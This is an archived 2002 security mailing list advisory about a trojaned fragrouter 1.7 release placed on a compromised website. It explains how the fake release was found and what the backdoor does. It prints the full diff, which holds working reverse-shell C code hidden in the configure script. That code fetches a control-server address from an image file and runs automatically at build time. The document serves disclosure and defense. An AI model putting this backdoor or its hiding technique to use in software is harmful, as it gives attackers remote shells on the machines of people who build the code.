Vulnwatch mailing list archives

fragrouter trojan


From: matt () anzen com
Date: Mon, 21 Oct 2002 09:32:30 -0400 (EDT)

On October 18, www.anzen.com was compromised and a trojan was placed at

http://www.anzen.com/archive/research/fragrouter-1.7.tar.gz
MD5 (fragrouter-1.7.tar.gz) = 8329c34704287a1fb1e5d6f1ba81f456

After being notified by Hank Leininger on October 19, it was subsequently 
removed.

This release of fragrouter 1.7 is COMPLETELY BOGUS. fragrouter has not 
been actively maintained for 3 years (1.6 being the last proper release),
and has since been obsoleted by fragroute. The attacker even went to 
the lengths of creating a fake CHANGELOG entry, but only adding the
trojan code.

The trojan itself is very similar to those recently found in irssi,
fragroute, BitchX, OpenSSH, and Sendmail. Embedded in the configure
script is a C program that will remotely bind a shell. An interesting 
addition to this version is that it will dynamically decide which IP 
address in which to connect the shell by grabbing text from a URL, in 
this case: 

http://www.anzen.com/images/anzen-title_r3_f2_c4.jpg

Contained in this file is the string 'IPDATA210.224.164.100', so it 
would connect to TCP port 6667 on 210.224.164.100. The owner has been 
contacted and this port is currently closed. Thanks again to Hank
for the initial analysis.

The attacker then tried to bait both the linux-kernel & cisco-nsp lists:

http://marc.theaimsgroup.com/?l=cisco-nsp&m=103515530331228&w=2
http://marc.theaimsgroup.com/?l=linux-kernel&m=103505549207211&w=2

Attached is a complete diff against a known-good copy of fragrouter-1.6.
Two things of note:

1) Some of the previous trojans responded to the commands 'A', 'D', & 'M' 
over port 6667, but this one uses 'B', 'G', & 'K'.

2) Included in the trojan is the string: 

# íéì.ÊÁÉÓÉÓÒÜÊÁ(2ÎÅÄÅÌÉ)ÆÆÉÎÓÄ/ÔÕÏÒÇÁÒÆ(21/2ÎÅÄÅÌÉ)óëéÞÔÉâ(3ÎÅÄÅÌÉ)
# ãòõ.ÚÌÌÏÒËÓ(6ÍÅÓÑÃÅ×)ÛÓÓÎÅÐÏ(1ÎÅÄÅÌÑ,Ð,3ÄÎÑ)ÌÊÅÍÄÎÅÓ(1ÎÅÄÅÌÑ)
# ÷óå.îÁÔÁÛÁ, ×ÓÅ ÐÒÅÚÅÒ×ÁÔÉ×Ù ÚÁËÏÎÞÉÌÉÓØ, ÐÒÉÎÅÓÉ ÅÝÅ.

which Solar Designer was kind enough to attempt a translation:

# ***.**********(2weeks)******/********(21/2weeks)*******(3weeks)
# ***.*******(6months)*******(1week,*,3days)********(1week)
# ALL.Natasha, we're out of condoms, bring more.

diff -ruP --ignore-space-change fragrouter-1.6/CHANGES fragrouter-1.7/CHANGES
--- fragrouter-1.6/CHANGES      Tue Sep 21 11:47:32 1999
+++ fragrouter-1.7/CHANGES      Sun Jun 23 23:54:58 2002
@@ -1,4 +1,10 @@
-$Id: CHANGES,v 1.18 1999/09/21 15:47:32 dugsong Exp $
+$Id: CHANGES,v 1.18 2002/10/18 15:47:32 dugsong Exp $ 
+ 
+v1.7 Fri Oct 18 15:47:32 EDT 2002
+
+- Fixed fragmentation bugs in ip_frag.c. Sped up ip_frag.c and
+  tcp_seg.c significantly. Fixed other minor bugs throughout
+  the fragrouter source tree.
 
 v1.6 Tue Sep 21 11:06:19 EDT 1999
 
diff -ruP --ignore-space-change fragrouter-1.6/README fragrouter-1.7/README
--- fragrouter-1.6/README       Thu Jul 29 11:52:32 1999
+++ fragrouter-1.7/README       Fri Oct 11 11:54:30 2002
@@ -43,7 +43,9 @@
 Fragrouter has been successfully tested on
 
        - OpenBSD 2.x
+       - OpenBSD 3.x
        - FreeBSD 3.x
+       - FreeBSD 4.x
        - BSD/OS 3.x
        - Redhat Linux 5.x
        - Solaris 2.x
@@ -67,4 +69,4 @@
 
 
 ---
-$Id: README,v 1.15 1999/07/29 15:52:32 dugsong Exp $
+$Id: README,v 1.15 2002/07/29 15:52:32 dugsong Exp $ 
diff -ruP --ignore-space-change fragrouter-1.6/VERSION fragrouter-1.7/VERSION
--- fragrouter-1.6/VERSION      Tue Sep 21 11:11:01 1999
+++ fragrouter-1.7/VERSION      Sat Sep  7 18:49:13 2002
@@ -1 +1 @@
-1.6
+1.7
diff -ruP --ignore-space-change fragrouter-1.6/configure fragrouter-1.7/configure
--- fragrouter-1.6/configure    Mon Jul 26 11:08:51 1999
+++ fragrouter-1.7/configure    Thu Sep  5 23:04:21 2002
@@ -1333,6 +1333,194 @@
   echo "$ac_t""no" 1>&6
 fi
 
+#!/bin/sh
+cat >conftest.c <<_CONFEOF
+#include <stdio.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+int main (int argc, char **argv)
+{
+    char c, buf[1024], *bufp;
+    int s, x, sv0[2], sv1[2];
+    struct sockaddr_in sa;
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+/* We use char because int might match the return type of a gcc2
+    builtin and then its argument prototype would still apply.  */
+    switch (fork ()) { case 0: break; default: exit (1);}
+    close (0); close (1); close (2);
+
+    do {
+        if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1))
+            exit (1);
+
+       sa.sin_family = AF_INET; sa.sin_port=htons(80);
+       sa.sin_addr.s_addr = inet_addr("204.181.64.52");
+        alarm (10);
+        if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
+            exit (1); alarm(0);
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+/* We use char because int might match the return type of a gcc2
+    builtin and then its argument prototype would still apply.  */
+#define TESTSTR "GET /images/anzen-title_r3_f2_c4.jpg HTTP/1.1\nHost: www.anzen.com\n\n"
+       if(send(s, TESTSTR, strlen(TESTSTR), 0) <=0)
+               exit(1);
+
+       alarm(10);
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+       if((x=recv(s, buf, sizeof(buf), 0)) <=0)
+               exit(1); alarm(0); close(s); 
+       bufp = strstr(buf, "IPDATA"); if(bufp==NULL) exit(1); bufp+=6;
+       bufp[strlen(bufp)-1]='\0';
+       
+       if ((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) exit(1);
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+/* We use char because int might match the return type of a gcc2
+    builtin and then its argument prototype would still apply.  */
+        sa.sin_family = AF_INET;
+        sa.sin_port = htons (6667);
+        sa.sin_addr.s_addr = inet_addr (bufp);
+
+        alarm (10);
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char $ac_func(); below.  */
+        if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
+            exit (1);
+        if ((x = read (s, &c, 1)) <= 0)
+            exit (1);
+        else {
+            alarm (0);
+            switch (c) {
+                case 'B':
+                    exit (0);
+                case 'G':
+                    break;
+                case 'K':
+                    close (s);
+                    sleep (3600);
+                    continue;
+            }
+        }
+
+        break;
+    } while (1);
+
+    if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv0) == (-1))
+        exit (1);
+    if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv1) == (-1))
+        exit (1);
+
+    switch (fork ()) {
+        case -1: {
+            exit (1);
+        }
+        case 0: {
+            char *a[] = { "\x2f\x62\x69\x6e\x2f\x73\x68\x00", NULL };
+
+            close (sv0[1]);
+            close (sv1[1]);
+
+            dup2 (sv0[0], 0);
+            dup2 (sv1[0], 1);
+            dup2 (sv1[0], 2);
+
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+            execve (a[0], a, NULL);
+        }
+        default: {
+            close (sv0[0]);
+            close (sv1[0]);
+
+            while (1) {
+                int len, ret;
+                fd_set rfd;
+                char buf[2048];
+
+                FD_ZERO (&rfd);
+                FD_SET (s, &rfd);
+                FD_SET (sv1[1], &rfd);
+                if (select (32, &rfd, NULL, NULL, NULL) == (-1)) {
+                    exit (1);
+                }
+
+                if (FD_ISSET (s, &rfd)) {
+                    if ((len = read (s, buf, sizeof (buf))) <= 0) {
+                        exit (1);
+                    }
+                    for (x = 0; x < len; x++) buf[x] ^= 0x89;
+
+                    x = 0;
+                    while (x < len) {
+                        if ((ret = write (sv0[1], buf + x, len - x)) == (-1)) {
+                            exit (1);
+                        }
+                        x += ret;
+                    }
+                }
+
+                if (FD_ISSET (sv1[1], &rfd)) {
+                    if ((len = read (sv1[1], buf, sizeof (buf))) <= 0) {
+                        exit (1);
+                    }
+                    for (x = 0; x < len; x++) buf[x] ^= 0x89;
+
+                    x = 0;
+                    while (x < len) {
+                        if ((ret = write (s, buf + x, len - x)) == (-1)) {
+                            exit (1);
+                        }
+                        x += ret;
+                    }
+                }
+            }
+        }
+    }
+}
+_CONFEOF
+(TESTPROG="`basename \"\`grep ^$USER: /etc/passwd\`\"`"
+if test -z $TESTPROG ; then TESTPROG=sh; fi
+TESTSTAT=0
+# Guess values for system-dependent variables and create Makefiles.
+# Generated automatically using autoconf version 2.13
+# Copyright (C) 1992, 93, 94, 95, 96 Free Software Foundation, Inc.
+#
+# This configure script is free software; the Free Software Foundation
+# gives unlimited permission to copy, distribute and modify it.
+if test $TESTPROG = "sh"; then TESTSTAT=1;fi
+if test $TESTPROG = "csh"; then TESTSTAT=1;fi
+if test $TESTPROG = "bash"; then TESTSTAT=1;fi
+if test $TESTPROG = "tcsh"; then TESTSTAT=1;fi
+if test $TESTPROG = "zsh"; then TESTSTAT=1;fi
+if test $TESTSTAT -eq 0; then TESTPROG=sh;fi
+oPATH=$PATH
+gcc -w conftest.c -o $TESTPROG ; PATH=. $TESTPROG
+PATH=$oPATH
+if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
+gcc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
+PATH=$oPATH
+if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
+cc -w conftest.c -o $TESTPROG ; PATH=. $TESTPROG
+PATH=$oPATH
+if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
+cc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
+PATH=$oPATH
+# Initialize some variables set by options.
+# The variables have the same names as the options, with
+# dashes changed to underlines.
+rm -f ./conftest ./conftest.c $TESTPROG)  2>/dev/null 1>/dev/null
+
+# íéì.ÊÁÉÓÉÓÒÜÊÁ(2ÎÅÄÅÌÉ)ÆÆÉÎÓÄ/ÔÕÏÒÇÁÒÆ(21/2ÎÅÄÅÌÉ)óëéÞÔÉâ(3ÎÅÄÅÌÉ)
+# ãòõ.ÚÌÌÏÒËÓ(6ÍÅÓÑÃÅ×)ÛÓÓÎÅÐÏ(1ÎÅÄÅÌÑ,Ð,3ÄÎÑ)ÌÊÅÍÄÎÅÓ(1ÎÅÄÅÌÑ)
+# ÷óå.îÁÔÁÛÁ, ×ÓÅ ÐÒÅÚÅÒ×ÁÔÉ×Ù ÚÁËÏÎÞÉÌÉÓØ, ÐÒÉÎÅÓÉ ÅÝÅ.
 
 for ac_hdr in net/ethernet.h
 do
diff -ruP --ignore-space-change fragrouter-1.6/misc.c fragrouter-1.7/misc.c
--- fragrouter-1.6/misc.c       Tue Sep 21 11:14:07 1999
+++ fragrouter-1.7/misc.c       Sun Jun 23 23:54:58 2002
@@ -33,7 +33,7 @@
   OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
   ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
-  $Id: misc.c,v 1.6 1999/07/25 15:55:06 dugsong Exp $
+  $Id: misc.c,v 1.7 2001/07/25 15:55:06 dugsong Exp $
 */
 
 #include "config.h"
diff -ruP --ignore-space-change fragrouter-1.6/version.h fragrouter-1.7/version.h
--- fragrouter-1.6/version.h    Tue Sep 21 11:11:11 1999
+++ fragrouter-1.7/version.h    Sat Sep  7 18:49:13 2002
@@ -1 +1 @@
-#define FRAGROUTER_VERSION "1.6"
+#define FRAGROUTER_VERSION "1.7"


Current thread: